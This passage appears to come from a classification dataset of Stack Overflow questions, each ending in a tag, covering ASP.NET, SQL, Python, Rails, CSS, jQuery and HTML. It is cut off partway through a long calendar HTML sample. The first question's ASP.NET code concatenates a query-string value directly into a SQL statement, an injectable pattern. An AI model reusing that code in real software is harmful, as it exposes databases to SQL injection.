runtime exception incorrect syntax near  =  <pre><code>&lt;%@ page language= c#  autoeventwireup= true  codefile= postreplyadmin.aspx.cs  inherits= postreplay  masterpagefile= ~/adminmaster.master  title= post-reply page %&gt; &lt;%@ import namespace= system.data  %&gt; &lt;%@ import namespace= system.data.sqlclient  %&gt;  &lt;asp:content contentplaceholderid= contentplaceholder1  runat= server &gt; &lt;%     string postid = request.querystring[ id ];     sqlconnection con = new sqlconnection(configurationmanager.connectionstrings[ civilregdb ].connectionstring);     con.open();     string sql =  select * from forumthread where postid=  + postid;     sqldataadapter da=new sqldataadapter(sql con);             dataset ds=new dataset();     da.fill(ds);     datarow drow = ds.tables[0].rows[0];     string name = drow[ name ].tostring();     string desc = drow[ description ].tostring();     datetime dt = convert.todatetime(drow[ postdate ].tostring());     string postdate = dt.tostring( dd/mm/yyyy  system.globalization.cultureinfo.invariantculture );     string mailid = drow[ email ].tostring();     %&gt; &lt;/asp:content&gt; </code></pre>   i m getting a sqlexception while i m trying to reply to post. the error: incorrect syntax near  = . i ve looked around to find other questions similar to mine  but i can t find anything worth to me.    i m getting error on  da.fill(ds); . anyone can help me out on this...:(,asp.net
sql return duplicate records as distinct records and unique records together  i am new to sql and i m having trouble solving a problem using one table to get two combined results. i have a table that has duplicate entries and individual entries.  i would like my results to show the individual entries and to show the distinct entries of the duplicates.  my table is something like this:   <pre><code>date      code      units   1-1-18    bottles    12   1-5-18    cars       11   1-2-18    trains     6   1-15-18    boats     9   1-16-18    boats     7   1-15-18    boats     9   1-16-18    plains    8   1-16-18    plains    8   1-16-18    boats     7   1-15-18    boats     9   </code></pre>   the result i am looking for is:     <pre><code> date      code      units  1-1-18    bottles   12  1-5-18    cars      11  1-2-18    trains    6  1-15-18   boats     9  1-16-18   plains    8  1-16-18   boats     7  </code></pre>   i ve been reading about self joins and <code>group by</code> and using <code>distinct</code>  but i just can t figure out which clause i need to use.  i think i need to use an aggregate function such as max for the boats and plains units but i don t know.  if someone could please get me started in the right direction i would greatly appreciate it.,sql
working with router.rb  hey! i have (for instance) this:   <pre><code>  @w1 = rand(9999999)   @w = digest::sha1.hexdigest(@w1.to_s) </code></pre>   and i get : 6437gdfghfijd8794tyr98vdhf (code).. okei.. in rails how could i put this code in my url.. something like this: localhost:3000/6437gdfghfijd8794tyr98vdhf     <pre><code>#router.rb   map.about  /@w   :controller =&gt;  ans   :action =&gt;  index   </code></pre>,ruby-on-rails
what is the best way to unpack a fix message into a python dictionary   string looks like this:   <pre><code>input =  key1=val1\001key2=val2\001key3=val3\001key4=val4  </code></pre>   where \001 is the separator     <pre><code>message = {} </code></pre>   uh... now what  i know i can do something like   <pre><code>my_list = imput.split( \001 ) my_dict = {}  for pair in my_list:     tup = pair.split( = )     my_dict[tup[0]] = tup[1] </code></pre>   this works but it seems really ugly. there must be a better way.,python
comparison between the items of one list with the items of another list both of which reside in an outer list  <a href= https://stackoverflow.com/questions/6932507/working-with-a-big-list/6933284#6933284 >working with a big list</a> this is my earlier post about this program which generates the following list. the program i am writing deals with a big linked list. this list is called phonemelist. the list is like the following:   <pre><code>[[( dh   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15  0.35]  [-1  -1]])      ( ih   [[-1  -1]  [-1  -1]  [0.3  1.0]  [-1  -1]  [0.05  0.15]  [-1 -1]])       (     none)       ( k   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15  0.8]  [-1  -1]])      ( aa   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15  1.0]  [-1  -1]])      ( r   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15  0.6]  [-1  -1]])      (     none)       ( p   [[-1  -1]  [0.2  1.0]  [-1  -1]  [-1  -1]  [0.15  0.2]  [-1  -1]])      ( ih   [[-1  -1]  [-1  -1]  [0.3  1.0]  [-1  -1]  [0.05  0.15]  [-1  -1]])      (     none)      ( k   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15  0.8]  [-1  -1]])      ( iy   [[-1  -1]  [-1  -1]  [0.3  1.0]  [-1  -1]  [0.1  0.15]  [-1  -1]])     ( ng   [[-1  -1]  [-1  -1]  [0.3  1.0]  [-1  -1]  [0.09  0.3]  [-1  -1]])     (     none)      ( er   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15  0.5]  [-1  -1]])      (     none)      ( sh   [[-1  -1]  [-1  -1]  [-1  -1]  [0.3  1.0]  [-1  -1]  [-1  -1]])      ( eh   [[-1  -1]  [-1  -1]  [0.1  0.5]  [-1  -1]  [0.4  0.7]  [-1  -1]])      ( m   [[-1  -1]  [0.2  1.0]  [-1  -1]  [-1  -1]  [0.15  0.2]  [-1  -1]])      (     none)      ( p   [[-1  -1]  [0.2  1.0]  [-1  -1]  [-1  -1]  [0.15  0.2]  [-1  -1]])     ( uw   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.5  1.0]])      ( dx   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15  0.35]  [-1  -1]])      (     none)      ( aa   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15  1.0]  [-1  -1]])      (     none)      ( er   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15  0.5]  [-1  -1]])      (     none)  ( aa   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15  1.0]  [-1 -1]])      (     none)      ( r   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15  0.6]  [-1  -1]])      ( iy   [[-1  -1]  [-1  -1]  [0.3  1.0]  [-1  -1]  [0.1  0.15]  [-1  -1]])     (     none)      ( ih   [[-1  -1]  [-1  -1]  [0.3  1.0]  [-1  -1]  [0.05  0.15]  [-1  -1]])     ( n   [[-1  -1]  [-1  -1]  [-1  -1]  [0.3  1.0]  [-1  -1]  [-1  -1]])      ( t   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15  0.4]  [-1  -1]])      ( l   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15  0.6]  [-1  -1]])      (     none)  ( r   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15 0.6]  [-1  -1]])      ( ah   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15  1.0]  [-1  -1]])      ( k   [[-1  -1]  [-1  -1]  [-1  -1]  [-1  -1]  [0.15  0.8]  [-1  -1]])]] </code></pre>   could you kindly have a look at the link so that you have an idea about the program. thank you. [0.15 0.6] is not a list but a range. here it is expressed as a list which may be wrong. this means the value can vary from 0.15 to 0.6. where as [-1 -1] is a no range thing which is not in use and can be replaced by a range of positive numbers while comparing. now i need to compare the items of  dh  with the items of  ih  . the first item of  dh  will be compared to first item of  ih  then 2nd item to 2nd and so on. then the items of  dh  will be compared to items of  k  ignoring    .  dh  will be compared to all following the rules. then  ih  comes into picture and the same thing is repeated. while doing this (     none)  should be ignored. the ranges get changed during comparison and [-1 -1] will be replaced. the (     none) is like a boundary. after comparison of all items with one another  the next step would be to compare within these boundaries. being a beginner this is really a complex thing for me. but this is also my main project so please help me with this. thank you very much.,python
how to implement recurring events in calendar app   i wanted to implement this feature and i am not sure exactly how to do it. i basically have a calendar app where i can create events. upon creating events it shows it in the calendar.    now i have calendars controller and calender model and i have events controller and event model. i am using this association  calendar has_many: events  and i have crud for events.    till this point i can create single events  but now i am interested to create multiple events at the same time. by that what i mean is i want to create recurring events  how would i do that  will i be able to do that with existing controllers and models or do i need more controllers and models     this is my code for creating single events   <pre><code>class eventscontroller &lt; applicationcontroller  before_action :find_calendar  except: [:index] def create  @event = @calendar.events.new event_params  if @event.save   respond_to do |format|     format.html {redirect_to business_path(@business  calendar_id: @calendar.id)}     format.js   end else   render :new end end  private  def event_params params.require(:event).permit([:summary  :unique_id  :time_of_day  :start_time  :end_time  {activity_ids:[]}  :calendar_id]) end    def find_calendar     # @calendar = @business.calendar @calendar = calendar.find(params[:calendar_id]) end </code></pre>,ruby-on-rails
should all styles be only in a .css file   should all styles be set in a .css file  or is it permissible to sometimes place styles right on the elements  for instance  when styling complex tables or when you want to add some extra styling to just one element among many using a certain class.,css
how to build a simulation of a login hardware token in .net  i have a hardware token for remote login to some citrix environment. when i click the button on the device  i get an id and i can use that to login to the citrix farm. i can click the button as much as i like  and every time a new code gets generated  and they all work.    now i want to secure my private website likewise  but not with the hardware token  but with a  token app  on my phone. so i run an app on my phone  generate a key  and use that to (partly) authenticate myself on the server.    but here s the point: i don t know how it works! how can i generate 1  2 or 100 keys at one time which i can see (on the server) are all valid  but without the server and the phone app having contact (the hardware token also is an  offline  solution).    can you help me with a hint how i would do this     this is what i thought of so far: the phone app and the server app know (hardcoded) the same encryption key. the phone app encrypts the current time. the server app decrypts the string to the current time and if the diff between that time and the actual server time is less than 10 minutes it s an ok. difficult for other users to fake a key  but encryption gives such nasty strings to enter  and the hardware token gives me nice things like  h554tu8  and this is probably not how the real hardware token works  because the server and the phone app must  know  the same encryption key.    michel,.net
how to check .net 2.0 assembly for calls to .net 3.5  i ve found an issue i believe where an assembly is making a call to a .net3.5 method in a .net2.0 only environment. (none on the .net service packs nor .net 3.5 is installed)    i d like to know if there are any programs that i can run like fxcop to check an assembly for adherence to only making method calls that are available in .net 2.0 without the 3.5 extensions that were added.    i ve been bitten by this before and i d like to have a way to check assemblies so that before they are released they can be checked to prevent these kinds of issues.     please don t say require .net 3.5 because whilst i d like to go to this  it s just not possible at this point.,.net
how to use pseudo-classes of css in asp.net linkbutton   in my web page there is link button and on that link button i want to add pseudo class of  css which is made in another css page. i call that css page in aspx page. i want to use my pseudo class with this linkbutton .how to use this     so my question is :i want to add this pseudo cssclass in linkbutton. how to do that      this css want to call on linkbutton.   <pre><code>&lt;style type= text/css &gt; lbtnlogout:link {color:red;font-size: 12px;font-family: verdana  arial;font-size: 12px;}    lbtnlogout:visited {color:#598090;font-size: 12px;font-family: verdana  arial;font-size: 12px;}  lbtnlogout:hover {color:green;font-size: 12px;font-family: verdana  arial;font-size: 12px;}  lbtnlogout:active {color:fuchsia;font-size: 12px;font-family: verdana  arial;font-size: 12px;} &lt;/style&gt; </code></pre>   on this link button i want to use.   <pre><code>&lt;asp:linkbutton id= lbtnlogout  runat= server  onclick= lbtnlogout_click  cssclass= lbtnlogout            causesvalidation= false  onclientclick= return validatetextbox(); &gt;log out&lt;/asp:linkbutton&gt;  </code></pre>   this is not working .please someone modify it.,asp.net
can you assign functionality to an element multiple times with jquery   i have an element similar to this:   <pre><code>&lt;div class= topics_searcher &gt;&lt;/div&gt; </code></pre>   and i have js that looks something like this:   <pre><code>jquery.fn.topicssearcher = function () {};  jquery( .topics_searcher ).topicssearcher(); </code></pre>   now  if i were to issue the following call a second time  will it cause any conflicts    <pre><code>jquery( .topics_searcher ).topicssearcher(); </code></pre>,jquery
give different styles for contents inside an option tag  i need to align two different contents inside  tag. means align one text at the left side and other at the right side and need to give two different styles(font color etc) for both texts is it possible,html
css position fixed to the left but not top  i have an events calendar. dates are displayed on the left of the screen. current display has the full year view so it has 365 rows of days.  i want to keep the dates are visible even if the user scrolls to the right. but also when the user scrolls to the bottom dates have to scroll too. all i want to do is use the css position:fixed but only left:0 but top will not be 0.     here is the code.   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt; &lt;title&gt;calendar&lt;/title&gt; &lt;style&gt; html{color:#000;background:#fff;}body div dl dt dd ul ol li h1 h2 h3 h4 h5 h6 pre code form fieldset legend input textarea p blockquote th td{margin:0;padding:0;}table{border-collapse:collapse;border-spacing:0;}fieldset img{border:0;}address caption cite code dfn em strong th var{font-style:normal;font-weight:normal;}li{list-style:none;}caption th{text-align:left;}h1 h2 h3 h4 h5 h6{font-size:100%;font-weight:normal;}q:before q:after{content:  ;}abbr acronym{border:0;font-variant:normal;}sup{vertical-align:text-top;}sub{vertical-align:text-bottom;}input textarea select{font-family:inherit;font-size:inherit;font-weight:inherit;}input textarea select{*font-size:100%;}legend{color:#000;}  body{     background: #fff;     color: #000000;     font-family: arial sans;     font-size: 13px;     line-height: 19px;     padding: 0 0 0 70px;     text-align: left;     width:5000px; } .cal{     left: 0;     position: absolute;     top: 0;     width: 5000px; } .dayrow{    border-bottom: 1px solid #efefef;     height: 19px;     } .dayrow:hover{background:#000;opacity:0.2;} .header{font-weight:bold;}  .date{     background: none repeat scroll 0 0 #efefef;     font-weight: bold;     height: 100%;     padding: 0 5px 0 0;     text-align: right;     width: 90px; } .columnok{height:19px;width: 149px; border-right: 1px solid #bbb;float:left;}    &lt;/style&gt; &lt;/head&gt; &lt;body&gt;   &lt;div class= cal &gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;11 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;12 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;       &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;13 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;14 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;15 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;16 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;17 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;18 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;       &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;19 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;20 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;21 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;22 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;23 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;24 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;       &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;25 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;26 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;27 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;28 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;29 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;30 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;       &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;31 october&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 1 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 2 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 3 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 4 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;       &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 5 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 6 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 7 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 8 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok 